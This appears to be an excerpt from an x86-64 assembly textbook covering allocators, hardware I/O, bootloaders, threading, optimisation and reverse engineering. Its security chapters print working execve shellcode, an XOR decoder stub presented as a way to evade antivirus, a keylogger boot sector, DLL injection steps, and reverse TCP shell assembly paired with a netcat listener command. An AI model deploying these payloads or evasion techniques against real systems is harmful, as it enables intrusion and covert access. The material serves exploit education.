Implementing a Simple Memory Allocator

A simple bump allocator can be built on top of `mmap` or `brk`.

Bump Allocator Logic:

1. Reserve a memory region using `mmap`.
2. Keep a pointer (`heap_ptr`) to the start of free memory.
3. To allocate, return `heap_ptr`, then increment by size.
4. No freeing (or use a simple free list if extended).

```
section .bss
    heap_ptr resq 1

section .text
init_heap:
    mov rax, 9          ; mmap
    xor rdi, rdi
    mov rsi, 0x10000    ; 64 KB
    mov rdx, 3          ; PROT_READ | PROT_WRITE
    mov r10, 34         ; MAP_PRIVATE | MAP_ANONYMOUS
    mov r8, -1
```

```
    xor r9, r9
    syscall
    mov [heap_ptr], rax
    ret

malloc:
    ; rdi = size
    mov rax, [heap_ptr]
    mov rbx, rax
    add rax, rdi
    mov [heap_ptr], rax
    mov rax, rbx
    ret
```

This allocator supports fast memory allocation but no deallocation. Useful for temporary, scratch, or buffer allocations.

Example: Hex Editor in Assembly

A hex editor reads a binary file and prints the byte values in hexadecimal format.

Requirements:

- Read binary data from a file
- Format bytes into hexadecimal
- Output to terminal

- Display offsets and ASCII characters

Simplified Example (Partial):

```
section .data
    filename db "input.bin", 0
    hexchars db "0123456789ABCDEF"

section .bss
    buffer resb 16

section .text
    global _start

_start:
    ; open file
    mov rax, 2
    mov rdi, filename
    xor rsi, rsi
    xor rdx, rdx
    syscall
    mov r12, rax

read_loop:
    ; read 16 bytes
    mov rax, 0
```

```
    mov rdi, r12
    mov rsi, buffer
    mov rdx, 16
    syscall
    test rax, rax
    jz done

    mov rcx, rax        ; byte count
    xor rbx, rbx        ; index

print_loop:
    mov al, [buffer + rbx]
    movzx rsi, al
    shr al, 4
    mov bl, al
    mov al, [hexchars + rbx]
    ; write high nibble

    ; load low nibble
    mov rbx, rsi
    and rbx, 0x0F
    mov al, [hexchars + rbx]
    ; write low nibble

    ; add space, loop
```

```
    inc rbx
    loop print_loop

    jmp read_loop

done:
    ; close file
    mov rax, 3
    mov rdi, r12
    syscall
    ; exit
    mov rax, 60
    xor rdi, rdi
    syscall
```

This example reads blocks of data, formats each byte as two hexadecimal characters, and outputs them. Enhancements can include offset displays, ASCII rendering, and navigation controls.

Accessing Hardware and Ports

Port-Mapped and Memory-Mapped I/O

Modern computers interface with hardware devices through two main methods of communication:

- **Port-Mapped I/O (PMIO)**: Uses a separate address space for I/O, accessed with special instructions (`in` , `out`).
- **Memory-Mapped I/O (MMIO)**: Maps device registers into the physical address space, accessed like normal memory.

Port-Mapped I/O

This uses special x86 instructions to read/write device registers through I/O ports.

Instructions:

- `in al, dx` — reads from a port
- `out dx, al` — writes to a port

Ports are identified by a 16-bit port number (`0x0000` to `0xFFFF`). For example:

```
mov dx, 0x60      ; keyboard data port
in al, dx         ; read scan code from keyboard
```

This method is mostly used in real mode or bare-metal programming (BIOS, bootloaders, embedded systems).

Memory-Mapped I/O

MMIO uses physical memory addresses mapped directly to device registers. You can access them like any normal memory:

```
mov eax, [device_register]      ; read
mov [device_register], eax      ; write
```

This is the standard method in modern operating systems and drivers for communicating with GPUs, network cards, USB controllers, etc.

To use MMIO safely, the kernel must map physical device memory into your process address space. This is not available in user-space assembly programs unless operating in a kernel or bootloader environment.

Interacting with Keyboard, Mouse, and Display

Direct hardware interaction is generally only available in:

- Real mode (bootloader or BIOS)
- Protected mode (with special privileges)
- OS kernel modules or drivers

Accessing the Keyboard

The standard PS/2 keyboard interface uses I/O ports:

- `0x60` — Data port (for scan codes)
- `0x64` — Command/status port

Example: Read Scan Code

```
mov dx, 0x60
```

```
in al, dx          ; get key scan code
```

Reading Mouse Input

The PS/2 mouse also uses port `0x60` (data) and `0x64` (control). Handling mouse input requires sending initialization commands and parsing multiple bytes for each packet. This is non-trivial and best handled at the OS or firmware level.

Display Output (Text Mode)

In real mode, writing to the VGA text buffer is easy:

```
mov ah, 0x0E       ; BIOS teletype output
mov al, 'A'
int 0x10           ; display 'A' on screen
```

Or you can write directly to the VGA text buffer in memory-mapped I/O:

```
mov byte [0xB8000], 'A'     ; character
mov byte [0xB8001], 0x07    ; attribute (gray on black)
```

Each character cell is 2 bytes: character and color attribute.

Writing a Basic Bootloader (BIOS)

A bootloader is a small binary that fits in the first 512 bytes of a disk and loads the rest of the OS.

Key Features of a Bootloader:

- Executed in real mode (16-bit)

- Loaded by BIOS at memory address 0x7C00
- Ends with a magic signature: 0x55AA

Minimal Bootloader:

```
org 0x7C00

start:
    mov si, message
    call print_string
    jmp $

print_string:
    mov ah, 0x0E
.next:
    lodsb
    cmp al, 0
    je .done
    int 0x10
    jmp .next
.done:
    ret

message db "Booting...", 0
```

```
times 510 - ($ - $$) db 0

dw 0xAA55
```

To test this:

1. Save as `boot.asm`
2. Assemble: `nasm -f bin boot.asm -o boot.img`
3. Run with QEMU: `qemu-system-x86_64 -drive format=raw,file=boot.img`

This code loads at `0x7C00` and prints "Booting..." using BIOS services.

Example: Simple Keyboard Logger (Educational Purpose Only)

Disclaimer: This section is strictly for educational purposes in learning hardware interaction. Unauthorized use of keylogging techniques is unethical and illegal.

A basic keylogger demonstrates reading raw input from the keyboard port.

Real Mode Example:

```
org 0x7C00


start:

    cli             ; disable interrupts

    call clear_screen

    sti             ; enable interrupts
```

```
.loop:
    call get_key
    call print_char
    jmp .loop

; Wait for key press and return scan code in AL
get_key:
    xor ax, ax
.wait:
    in al, 0x64         ; status port
    test al, 1
    jz .wait
    in al, 0x60         ; read key from data port
    ret

; Print character in AL
print_char:
    mov ah, 0x0E
    int 0x10
    ret

clear_screen:
    mov ax, 0x0600
    mov bh, 0x07
    mov cx, 0x0000
```

```
    mov dx, 0x184F
    int 0x10
    ret

times 510 - ($ - $$) db 0
dw 0xAA55
```

How it Works:

- Reads key scan codes from `0x60`
- Uses BIOS interrupt `0x10` to echo character
- Operates in a loop without any OS support

Limitations:

- Captures raw scan codes, not actual ASCII characters
- Doesn’t distinguish key release vs. press
- Not suitable for protected or modern OS environments

For kernel-level keylogging in protected mode, you would need to write a driver that hooks into the OS keyboard input buffer, which is beyond the scope of general-purpose 64-bit assembly programming.

Interfacing directly with hardware through ports or memory mappings is an advanced aspect of assembly programming. While it's increasingly rare in user-space development due to OS abstraction and protection, it remains essential in:

- Operating system kernels
- Firmware and BIOS
- Embedded systems
- Bootloaders

Mastering these techniques provides deep insight into how computers operate beneath modern APIs and GUIs, allowing you to build systems from the ground up with precision and control.

Multithreading and Concurrency

Basics of Threads and Synchronization

Multithreading allows a program to perform multiple tasks concurrently by executing several instruction streams (threads) in parallel. In modern CPUs, each core may execute multiple threads simultaneously through simultaneous multithreading (SMT), often referred to as Hyper-Threading.

Benefits:

- Better CPU utilization
- Parallelism for performance
- Non-blocking operations (e.g., I/O + computation)

Challenges:

- Race conditions
- Data corruption
- Deadlocks

To manage these issues, synchronization primitives such as mutexes, semaphores, spinlocks, and atomic instructions are used to coordinate access to shared resources.

Creating Threads in Linux and Windows

Assembly can interface with OS-level threading APIs, or you can write inline assembly within C/C++ thread functions for performance-critical sections.

Linux: Using clone System Call

Linux uses the clone syscall to create threads. It is a lower-level equivalent of pthread_create .

```
mov rax, 56        ; syscall number for clone
mov rdi, flags     ; CLONE_VM | CLONE_FS | CLONE_FILES | CLONE_SIGHAND | CLONE_THREAD
mov rsi, child_stack
mov rdx, 0         ; arg to function (optional)
mov r10, 0
mov r8, 0
mov r9, 0
syscall
```

You must:

- Allocate and manage the thread's stack
- Ensure thread function and stack are properly aligned

Example flags:

```
#define CLONE_VM       0x00000100
#define CLONE_FS       0x00000200
#define CLONE_FILES    0x00000400
#define CLONE_SIGHAND  0x00000800
#define CLONE_THREAD   0x00010000
```

In practice, thread creation is easier through C wrappers like pthread_create , into which you can inject assembly.

Windows: Using CreateThread

In Windows, threads are created via the CreateThread API.

```
extern CreateThread

; Call CreateThread(0, 0, thread_func, 0, 0, 0)
xor rcx, rcx            ; lpThreadAttributes
xor rdx, rdx            ; dwStackSize
mov r8, thread_func     ; lpStartAddress
xor r9, r9              ; lpParameter
push 0                  ; dwCreationFlags
push 0                  ; lpThreadId
call CreateThread
```

You must define the thread function with the proper calling convention (stdcall or fastcall , depending on architecture and compiler).

Mutexes, Spinlocks, and Atomic Instructions

Mutex (Mutual Exclusion)

A mutex ensures that only one thread accesses a critical section at a time. You can implement it with memory flags and atomic instructions.

Assembly Mutex Using xchg :

```
; rdi = address of lock (0 = unlocked, 1 = locked)
spinlock:
```

```
mov eax, 1
xchg eax, [rdi]       ; atomically swap
test eax, eax
jnz spinlock          ; retry if it was already locked
ret
```

To release:

```
mov dword [rdi], 0
```

Spinlocks

Spinlocks are lightweight locks where a thread repeatedly checks (spins) until it can acquire the lock.

Pros:

- Very fast for short lock durations
- No kernel overhead

Cons:

- Waste CPU cycles when contention is high

Use when:

- The lock hold time is very short
- The number of threads is limited

Atomic Instructions

Atomic operations are single CPU instructions that cannot be interrupted. They are used to ensure consistent shared data without full locks.

Common atomic operations:

- lock xadd — atomic add
- lock inc [mem] — atomic increment
- lock cmpxchg — atomic compare-and-swap

Example: Atomic Increment

```
lock inc dword [counter]
```

Compare and Swap

```
; rax = expected, rbx = new value
lock cmpxchg [rdi], rbx
```

If [rdi] == rax , sets [rdi] = rbx ; otherwise, rax = [rdi] .

Example: Multi-threaded Counter

This example creates multiple threads that increment a shared counter safely using a spinlock.

C and Assembly Hybrid Design

We use a C program to create threads and call into assembly for critical operations.

Shared Global Variables (C file):

```
#include <pthread.h>
#include <stdio.h>
#include <stdlib.h>
```

```
extern void thread_func();
extern int counter;
extern int lock;

#define THREADS 4

int counter = 0;
int lock = 0;

void* run_thread(void* arg) {
    thread_func();
    return NULL;
}

int main() {
    pthread_t threads[THREADS];

    for (int i = 0; i < THREADS; i++) {
        pthread_create(&threads[i], NULL, run_thread, NULL);
    }

    for (int i = 0; i < THREADS; i++) {
        pthread_join(threads[i], NULL);
    }
```

```
    printf("Final counter value: %d\n", counter);
    return 0;
}
```

Assembly File (thread_func):

```
section .text
global thread_func

extern counter
extern lock

thread_func:
    mov rdi, lock_address
    call acquire_lock

    ; critical section
    mov eax, [counter]
    inc eax
    mov [counter], eax

    call release_lock
    ret

acquire_lock:
    mov eax, 1
```

```
.spin:
    xchg eax, [rdi]
    test eax, eax
    jnz .spin
    ret

release_lock:
    mov dword [lock], 0
    ret

section .data
lock_address dq lock
```

Compile both files and link them using gcc and nasm .

Result:

All threads increment the counter exactly once, and the final result matches the thread count. Without the lock, multiple threads might overwrite each other's increments, resulting in lost updates.

Security and Exploits (Ethical & Educational)

Stack Overflow and Buffer Overflow Basics

A **stack overflow** occurs when data written to the stack exceeds its bounds, potentially overwriting return addresses, saved registers, or local variables. A **buffer overflow** is a specific case where more data is written to a buffer than it can hold. In assembly, this typically means writing past a fixed-length buffer into adjacent memory regions.

Anatomy of a Buffer Overflow

Consider a function with the following stack layout:

```
[ Return Address ] ← rsp at function entry

[ Saved RBP      ]

[ Buffer (16B)   ]
```

If more than 16 bytes are written to the buffer, the saved RBP or return address can be overwritten:

```
sub rsp, 32          ; space for buffer

mov rdi, rsp         ; destination buffer

call read_input      ; reads more than 32 bytes!
```

Exploitable Scenario

When the return address is overwritten with a user-controlled value, execution flow can be redirected—often to injected shellcode or known instructions (e.g., `jmp esp`).

Modern systems employ security features such as:

- **Stack canaries**
- **ASLR (Address Space Layout Randomization)**
- **DEP (Data Execution Prevention)**
- **Non-executable stack**

Understanding how overflows work is essential not only for exploit development but also for secure coding.

Shellcode Creation and Analysis

Shellcode is a small piece of self-contained machine code designed to be executed as part of an exploit. Traditionally, it spawns a shell, but more broadly it can perform any small task, such as reading a file or opening a reverse connection.

Linux Example: Execve Shellcode

```
section .text
global _start

_start:
    xor rax, rax
    push rax
    mov rbx, 0x68732f2f6e69622f
    push rbx
```

```
mov rdi, rsp
xor rsi, rsi
xor rdx, rdx
mov al, 59        ; syscall number for execve
syscall
```

This code executes /bin//sh (note the double / is harmless and aligns the bytes). It avoids null bytes and uses syscall conventions directly.

Windows Example: MessageBoxA Shellcode

; Windows shellcode generally uses API calls, e.g., MessageBoxA

; You'll need to locate kernel32.dll and user32.dll dynamically (GetProcAddress, LoadLibrary)

Analyzing shellcode involves:

- Disassembling bytes (e.g., with ndisasm , objdump)
- Identifying syscall or API call patterns
- Tracing memory, stack, and register manipulations
- Checking for NOP sleds, encoders, or polymorphic behaviors

Writing a Simple Encoder and Decoder

Encoders are used to avoid bad characters (e.g., null bytes, newline, space) in shellcode. The decoder routine then reconstructs the original shellcode in memory.

Example: XOR Encoder

Encoding (in Python or manually):

Original byte: 0xB8
Key: 0xAA
Encoded byte: 0x12 (0xB8 ^ 0xAA)

Repeat for all bytes.

Decoder Stub (Assembly):

```
section .text

global _start


_start:

    mov rsi, shellcode

    mov rcx, length

    mov al, 0xAA


decode:

    xor byte [rsi], al

    inc rsi

    loop decode


    jmp shellcode


shellcode:

    db 0x12, 0x34, 0x56, ... ; encoded bytes


length equ $ - shellcode
```

This stub decodes the payload in place and jumps to it. Advanced encoders can randomize keys or obfuscate decoding logic to evade static detection.

Secure Coding Practices in Assembly

Assembly gives you complete control over memory and execution flow—but with that power comes the responsibility to write secure code. Here are best practices for preventing vulnerabilities:

1. Avoid Fixed-size Buffers Without Bounds Checking

```
; Bad

mov rsi, rsp

call gets      ; dangerous


; Good

mov rdx, 32     ; max length

call safe_read
```

Always limit the amount of data read or written into a buffer.

2. Validate Input Lengths and Pointers

Before accessing user-supplied memory or dereferencing pointers, verify that the memory is accessible and within expected bounds.

3. Use Stack Canaries (Manually if Needed)

Although typically handled by compilers, in bare-metal or low-level assembly you can implement your own:

```
mov qword [rsp - 8], 0xDEADBEEFCAFEBABE

...
```

```
cmp qword [rsp - 8], 0xDEADBEEFCAFEBABE
jne .stack_corrupted
```

4. Mark Data Sections as Non-Executable

When integrating with modern systems, ensure that your `.data` or `.bss` sections do not have execute permissions. This avoids classic shellcode injection risks.

5. Randomize or Encrypt Sensitive Values

Hardcoded credentials, shellcodes, or encryption keys should be obfuscated, encrypted, or dynamically generated.

6. Avoid Writing to Arbitrary Memory

Careless memory access can result in segmentation faults or unintentional memory corruption:

```
mov [0x0], rax      ; crash: null pointer write
```

Use memory bounds, base pointers, and sanity checks to control writes.

7. Respect Calling Conventions

If mixing assembly with C/C++, ensure that calling conventions (register usage, stack cleanup) are properly followed, especially for multi-threaded or shared-library contexts.

Performance Optimization Techniques

Loop Unrolling and Branch Prediction

Loop unrolling is a classic optimization technique that reduces the overhead of loop control by replicating the loop body multiple times within a single iteration. This allows for:

- Fewer conditional jumps (which are costly)
- Better instruction-level parallelism
- Improved use of pipelining

Manual Loop Unrolling

Example: Summing an array of 64-bit integers

Regular loop:

```
xor rax, rax
xor rcx, rcx

.loop:
    add rax, [rdi + rcx*8]
    inc rcx
    cmp rcx, rdx
    jl .loop
```

Unrolled version (factor of 4):

```
xor rax, rax
xor rcx, rcx

.loop:
    add rax, [rdi + rcx*8]
    add rax, [rdi + rcx*8 + 8]
    add rax, [rdi + rcx*8 + 16]
    add rax, [rdi + rcx*8 + 24]
    add rcx, 4
    cmp rcx, rdx
    jl .loop
```

Branch Prediction

Modern CPUs use branch prediction to guess the direction of conditional jumps. If the prediction is wrong (mispredicted), the pipeline is flushed and reloaded, which is expensive.

Avoid unpredictable branches:

```
; Bad: unpredictable if random
cmp rax, rbx
je .equal

; Better: convert to conditional moves
cmp rax, rbx
cmove rcx, rdx     ; move rdx to rcx if equal
```

Using cmov , setcc , and arithmetic avoids conditional jumps and benefits the CPU's superscalar execution engine.

Instruction-Level Parallelism

Instruction-Level Parallelism (ILP) enables a CPU to execute multiple independent instructions simultaneously, utilizing multiple execution units.

Scheduling Independent Instructions

Avoid long dependency chains that stall the pipeline.

Dependent instructions (slow):

```
mov rax, [rdi]
add rax, 1
mov rbx, rax
```

Independent instructions (faster):

```
mov rax, [rdi]
mov rcx, [rsi]
add rax, 1
add rcx, 1
```

Here, both add instructions can be executed in parallel.

Avoiding Pipeline Stalls

- Minimize register reuse
- Use registers evenly (to utilize multiple pipelines)

- Avoid memory access immediately after load (load-to-use latency)

Example:

```
; Stall: use rax immediately after load
mov rax, [rdi]
add rax, 1

; Better: delay use
mov rax, [rdi]
mov rcx, rax
add rcx, 1
```

Out-of-order execution in modern CPUs can mitigate some dependencies, but writing clean and non-blocking instruction sequences helps maximize throughput.

Cache Optimization

Modern CPUs have multiple levels of cache (L1, L2, L3). Accessing memory in a cache-friendly manner greatly improves performance.

Spatial Locality

Access memory in sequential order to benefit from prefetching.

```
; Good: forward scanning
mov rax, 0
mov rcx, 0

.loop:
```

```
add rax, [rdi + rcx*8]
inc rcx
cmp rcx, rdx
jl .loop
```

Temporal Locality

Re-use recently accessed memory. Avoid frequent cache misses by keeping active data in cache.

Cache Line Awareness

A cache line is usually 64 bytes. Design data structures and access patterns to minimize crossing cache lines.

Example: Loop Blocking (for matrix operations)

Instead of iterating row-by-row over large matrices (which causes frequent cache evictions), operate in small tiles that fit into cache.

False Sharing

In multithreaded programs, avoid placing frequently written data in the same cache line across threads. This causes performance degradation due to cache coherency overhead.

```
; Thread 1 writes to [rdi]
; Thread 2 writes to [rdi+4] — both in same cache line → BAD
```

Add padding or align data structures to 64 bytes to avoid this issue.

Profiling Assembly Code with perf and VTune

Profiling is essential for identifying hotspots, bottlenecks, cache misses, and inefficient instruction sequences.

Using perf on Linux

1. Compile with debug symbols:

```
nasm -f elf64 mycode.asm
ld -o mycode mycode.o
```

2. Run and record:

```
perf record ./mycode
```

3. Analyze performance:

```
perf report
```

This shows the most expensive instructions, branches, cache misses, etc.

Intel VTune Profiler

VTune is a powerful GUI tool for analyzing:

- Instruction pipeline stalls
- Thread concurrency and synchronization delays
- Cache utilization
- Branch prediction statistics
- SIMD vectorization effectiveness

Steps:

1. Build code with debug info
2. Launch VTune and attach to the process
3. Run Hotspot analysis
4. View flame graphs, disassembled code, and CPU time

VTune gives precise insights into where optimization is most effective.

Example: Optimized Sorting Algorithms

Selection Sort (Unoptimized)

```
; outer loop
mov rcx, 0

.outer_loop:
    mov rsi, rcx
    mov rdx, rcx

.inner_loop:
    mov rax, [rdi + rdx*8]
    mov rbx, [rdi + rsi*8]
    cmp rax, rbx
    jl .skip
    mov rsi, rdx
```

```
.skip:
    inc rdx
    cmp rdx, r8
    jl .inner_loop

; swap rdi[rcx] and rdi[rsi]
; ...

inc rcx
cmp rcx, r8
jl .outer_loop
```

This is readable but inefficient due to:

- Many conditional branches
- Poor instruction-level parallelism

Optimization Strategies:

1. **Unroll inner loop**
2. **Use `cmov` to eliminate branches**
3. **Load multiple elements and compare in parallel**
4. **Apply SIMD (e.g., AVX2) to sort chunks**

AVX-Optimized Sort (Conceptual)

Using AVX registers (e.g., ymm0) you can sort 8 integers at once:

```
vmovdqu ymm0, [rdi]
vpshufd ymm1, ymm0, 0b00011011    ; shuffle for sorting network
vpminsd ymm2, ymm0, ymm1          ; min values
vpmaxsd ymm3, ymm0, ymm1          ; max values
```

Implementing full vectorized sort networks or radix sort in SIMD is highly efficient but complex. It requires understanding of data layout, memory alignment, and parallel shuffle/instruction support.

Reverse Engineering Fundamentals

Disassembly with objdump, IDA Pro, Ghidra

Reverse engineering involves analyzing compiled binaries to understand their structure, behavior, or vulnerabilities. Disassembly is a core part of this process—transforming machine code into human-readable assembly instructions.

Using `objdump`

`objdump` is a command-line tool available on Linux systems for disassembling ELF binaries.

```
objdump -d -M intel ./binary
```

- `-d` : disassemble all sections
- `-M intel` : use Intel syntax (default is AT&T)

Sample output:

```
08048400 <main>:
8048400: b8 04 00 00 00    mov eax, 0x4
8048405: bb 01 00 00 00    mov ebx, 0x1
804840a: cd 80             int 0x80
```

IDA Pro (Interactive Disassembler)

IDA Pro is a powerful GUI disassembler that provides:

- Function identification
- Control flow graphs
- Pseudocode (with Hex-Rays decompiler)
- Manual patching and renaming

It supports various architectures (x86, x64, ARM) and is used heavily in malware analysis and vulnerability research.

Ghidra

Ghidra is a free and open-source reverse engineering suite from the NSA. It includes:

- Disassembly and decompilation
- Cross-platform support
- Scriptable analysis in Java/Python
- Auto-analysis of function boundaries and variables

Ghidra's decompiler offers a C-like view, helping to understand logic quickly.

```
int main() {
    puts("Hello, World!");
    return 0;
}
```

All three tools provide different perspectives and features, and experienced reverse engineers often use them in tandem.

Understanding Compiler Output

Compilers generate assembly based on optimization levels, target architecture, and ABI. Understanding this output helps reverse engineers infer the original high-level logic.

Common Compiler Patterns

- Prologue: setting up stack frame
- Epilogue: tearing down the frame
- Argument passing: via registers (e.g., `rdi`, `rsi`, `rdx` in System V ABI)
- Return value: typically in `rax`

Example: Compiled C Function

```
int add(int a, int b) {
    return a + b;
}
```

Disassembly (GCC -O0):

```
push rbp
mov rbp, rsp
mov DWORD PTR [rbp-4], edi
mov DWORD PTR [rbp-8], esi
mov eax, DWORD PTR [rbp-4]
add eax, DWORD PTR [rbp-8]
pop rbp
```

ret

At -O2 , the same logic might become:

```
mov eax, edi
add eax, esi
ret
```

Compiler optimizations remove unnecessary instructions, making analysis harder at higher levels.

Rebuilding Source from Binary

Reverse engineering often seeks to approximate the original source code or logic. This is known as **decompilation** or **reconstruction**.

Stages:

1. **Disassemble** the binary to assembly (using objdump , IDA, Ghidra)
2. **Identify functions**, variables, and constants
3. **Label** and document function purposes
4. **Reconstruct** logic manually or using a decompiler

Tools:

- **Ghidra Decompiler**: Outputs C-like pseudocode
- **RetDec**: An open-source decompiler (https://retdec.com/)

- **Hex-Rays**: IDA's powerful commercial decompiler

Challenges:

- Optimizations obscure original structure
- No symbol names (unless not stripped)
- Indirect jumps, virtual tables, or dynamic dispatch
- Obfuscation techniques (packing, encryption)

Manual reverse engineering often requires pattern recognition and intuition built over experience with compiled code.

Patching and Code Injection Techniques

Once binary behavior is understood, it can be **patched** (modified) to change functionality or behavior. Code injection, on the other hand, adds new code to an existing binary—often used in debugging, exploitation, or instrumentation.

Binary Patching

Goal: Change conditional logic or bypass checks

Original code:

```
cmp eax, 5
jne exit
```

Patch to:

```
cmp eax, 5
je exit      ; flip the condition
```

Using Hex Editors:

Locate instruction bytes (e.g., `0x75 = jne`, `0x74 = je`) and overwrite manually.

Using IDA or Ghidra:

- Identify the address
- Use the "Edit" or "Patch" feature
- Save the new binary

Code Caves

To inject new code:

1. Find unused space (a "code cave")
2. Insert shellcode or new logic
3. Redirect execution to the cave and back

Dynamic Code Injection

This technique is used in debuggers, malware, or instrumentation tools.

Windows Example (DLL Injection):

1. Open target process
2. Allocate memory with `VirtualAllocEx`
3. Write DLL path with `WriteProcessMemory`
4. Create remote thread with `CreateRemoteThread` calling `LoadLibraryA`

Linux Example (LD_PRELOAD):

Inject shared objects at runtime by specifying LD_PRELOAD :

```
LD_PRELOAD=./myhook.so ./target_binary
```

This loads myhook.so before standard libraries, allowing function hooking or instrumentation.

Precautions:

- Patching real-world binaries may violate licenses or laws
- Code injection can cause crashes if stack/registers are not preserved
- Injected code must preserve original binary behavior unless deliberately modified

Writing 64-bit Shellcode and Payloads (Educational)

Crafting Linux and Windows Shellcode

Shellcode is raw machine code—small, executable sequences often injected into memory and executed as payloads in exploitation scenarios. Writing shellcode in 64-bit environments requires understanding of calling conventions, syscalls (on Linux), or API calls (on Windows), and how to make position-independent, register-only code with no null bytes.

Linux 64-bit Shellcode

Linux shellcode relies on the `syscall` instruction and the System V AMD64 calling convention. The general syscall setup is:

```
mov rax, <syscall_number>  ; syscall number

mov rdi, <arg1>           ; 1st arg

mov rsi, <arg2>           ; 2nd arg

mov rdx, <arg3>           ; 3rd arg

mov r10, <arg4>

mov r8,  <arg5>

mov r9,  <arg6>

syscall
```

Example: Execve `/bin/sh`

```
section .text
```

```
global _start

_start:
    xor rax, rax
    push rax                    ; null terminator
    mov rbx, 0x68732f2f6e69622f   ; //bin/sh
    push rbx
    mov rdi, rsp                  ; filename pointer
    xor rsi, rsi                ; argv = NULL
    xor rdx, rdx                  ; envp = NULL
    mov rax, 59                   ; syscall number for execve
    syscall
```

This spawns a shell with no arguments or environment.

Windows 64-bit Shellcode

Windows shellcode must locate and call system functions via the Process Environment Block (PEB) or through loader techniques (e.g., `LoadLibrary`, `GetProcAddress`). There is no syscall table exposed like in Linux.

A basic shellcode payload might load `kernel32.dll`, then locate and call `WinExec` or `CreateProcess`.

Example tasks often involve:

- Resolving function pointers manually
- Using hashed DLL and function names

- Performing reflective DLL injection

Windows shellcode is complex due to security mechanisms and PE structure reliance. Assembly payloads are usually built and tested inside a C framework or through Windows debuggers.

Position Independent Code (PIC)

Shellcode must not rely on absolute memory addresses—it should compute relative offsets dynamically.

Techniques for Position Independence

1. **Call-Pop Method**

Used to get the address of data embedded after the code.

```
call get_data
get_data:
    pop rsi         ; rsi now points to "Hello"
    ...
    db "Hello",0
```

2. **Register-only addressing**

Use registers relative to the instruction pointer (indirectly) or stack pointer to avoid fixed memory references.

3. **Avoiding relocations**

PIC must not depend on `.data` or `.bss` sections. All variables must be embedded inline or pushed onto the stack at runtime.

PIC-Friendly Example

```
xor rax, rax
mov rdi, rsp
push rax
push 0x68732f6e69622f2f
mov rdi, rsp
...
```

Everything is generated in-register or pushed onto the stack—no absolute references.

Encoding and Obfuscation

Shellcode is often encoded to:

- Evade detection by antivirus software
- Avoid bad characters (e.g., null bytes, newline, carriage return)
- Obfuscate logic from reverse engineers

XOR Encoding Example

Encoder script in Python:

```
shellcode = b"\x48\x31\xc0..."  # Original bytes
key = 0xaa
encoded = bytes([b ^ key for b in shellcode])
```

Then append a decoder stub in assembly:

```
_start:
    lea rsi, [rel encoded]
    mov rcx, <length>
    mov al, 0xaa

decode:
    xor byte [rsi], al
    inc rsi
    loop decode
    jmp encoded

encoded:
    db 0x12, 0x34, ...
```

Polymorphic Shellcode

Polymorphism changes the shellcode's instruction sequence while preserving its behavior—useful for defeating signature-based detection.

Example transformations:

- Reorder instructions
- Use `add reg, 0` instead of `nop`
- Use `xor reg, reg` vs. `sub reg, reg`

Example: Reverse TCP Shell (for learning purposes only)

A reverse shell connects back to an attacker's machine, providing remote shell access. For ethical and educational study, we'll outline a simplified version in Linux 64-bit.

Basic Flow:

1. Create socket
2. Connect to attacker IP and port
3. Duplicate socket to stdin, stdout, stderr
4. Exec `/bin/sh`

Simplified Shellcode (Pseudo-Assembly)

```
; socket(AF_INET, SOCK_STREAM, 0)
mov rax, 41
mov rdi, 2        ; AF_INET
mov rsi, 1        ; SOCK_STREAM
xor rdx, rdx      ; protocol = 0
syscall


; Save socket fd
mov rdi, rax
mov r12, rax


; connect(sock, sockaddr_in, 16)
```

```
; sockaddr_in structure pushed here
mov rsi, rsp
mov byte [rsi], 0x02        ; AF_INET
mov word [rsi+2], 0x5c11    ; port 4444 (little-endian)
mov dword [rsi+4], 0x0100007f ; 127.0.0.1
mov rdx, 16
mov rax, 42
syscall

; dup2 loop: r12 = socket fd
xor rsi, rsi
.loop:
    mov rdi, r12
    mov rax, 33         ; dup2
    syscall
    inc rsi
    cmp rsi, 3
    jne .loop

; execve("/bin/sh", NULL, NULL)
xor rax, rax
push rax
mov rbx, 0x68732f6e69622f2f
push rbx
mov rdi, rsp
```

```
xor rsi, rsi
xor rdx, rdx
mov rax, 59
syscall
```

Testing the Shellcode

Use `nasm` to compile and link, or embed the binary in a C wrapper for injection.

Listener on attacker's machine:

```
nc -lvnp 4444
```

Run the shellcode on the target machine and observe the reverse shell connection.

NOTE: Always perform this kind of testing in a virtual lab or sandbox environment. Never use reverse shells or payloads on systems you do not own or explicitly have permission to test.

Understanding how to write 64-bit shellcode and payloads teaches invaluable lessons in system internals, OS interfaces, memory layouts, and secure programming. Whether analyzing vulnerabilities or building defenses, mastering these techniques provides deep insight into how modern machines and software interact at their lowest level. Always apply this knowledge ethically and within the bounds of the law.

Bootloaders and OS Development Basics

Real Mode vs. Protected Mode vs. Long Mode

In x86-based computers, the CPU starts in **Real Mode**, mimicking the 16-bit architecture of the original 8086. To take advantage of modern hardware features, we must transition through **Protected Mode** to **Long Mode**, which supports 64-bit operations.

Real Mode

- 16-bit segment:offset addressing (1 MB limit)
- No memory protection or multitasking
- BIOS and legacy DOS systems operate here

Use case: Bootloader starts here by BIOS.

Protected Mode

- Introduced with 80286+
- 32-bit addressing and paging
- Memory protection and privilege levels

Use case: Enables modern OS features, still used in 32-bit systems.

Long Mode

- Introduced with x86-64 (AMD64)
- 64-bit registers and memory addressing
- Requires paging and specific segment descriptors
- Must enter via Protected Mode + paging setup

Use case: 64-bit operating systems run entirely in Long Mode.

A 64-bit bootloader must begin in Real Mode, set up data segments, switch to Protected Mode, then set up paging and enter Long Mode.

Writing a 64-bit Boot Sector Loader

A bootloader is the first program loaded by BIOS (or UEFI firmware in modern systems). It resides in the first 512 bytes of the bootable device (MBR).

Boot Sector Structure

- 446 bytes: Bootloader code
- 64 bytes: Partition table
- 2 bytes: Magic number `0xAA55` (boot signature)

Basic Bootloader (Real Mode, Assembly)

```
; bootloader.asm
org 0x7C00          ; BIOS loads boot sector here


start:
    xor ax, ax
```

```
    mov ds, ax
    mov es, ax

    ; Print character
    mov ah, 0x0E
    mov al, 'X'
    int 0x10

hang:
    jmp hang

times 510 - ($ - $$) db 0
dw 0xAA55           ; Boot signature
```

Compile and test with:

```
nasm -f bin bootloader.asm -o bootloader.img
qemu-system-x86_64 -drive format=raw,file=bootloader.img
```

To extend this to 64-bit, we must:

1. Switch to Protected Mode
2. Set up a page table
3. Enable Long Mode and enter 64-bit code

Protected to Long Mode Transition (Simplified)

- Load GDT with code/data segments
- Enable CR4.PAE and EFER.LME
- Load page tables into CR3
- Set CR0.PG and jump to 64-bit code

Each step is complex and requires precise bit manipulation, typically performed in multiple stages (stage 1 bootloader → stage 2 loader → kernel).

Creating a Simple Kernel in Assembly

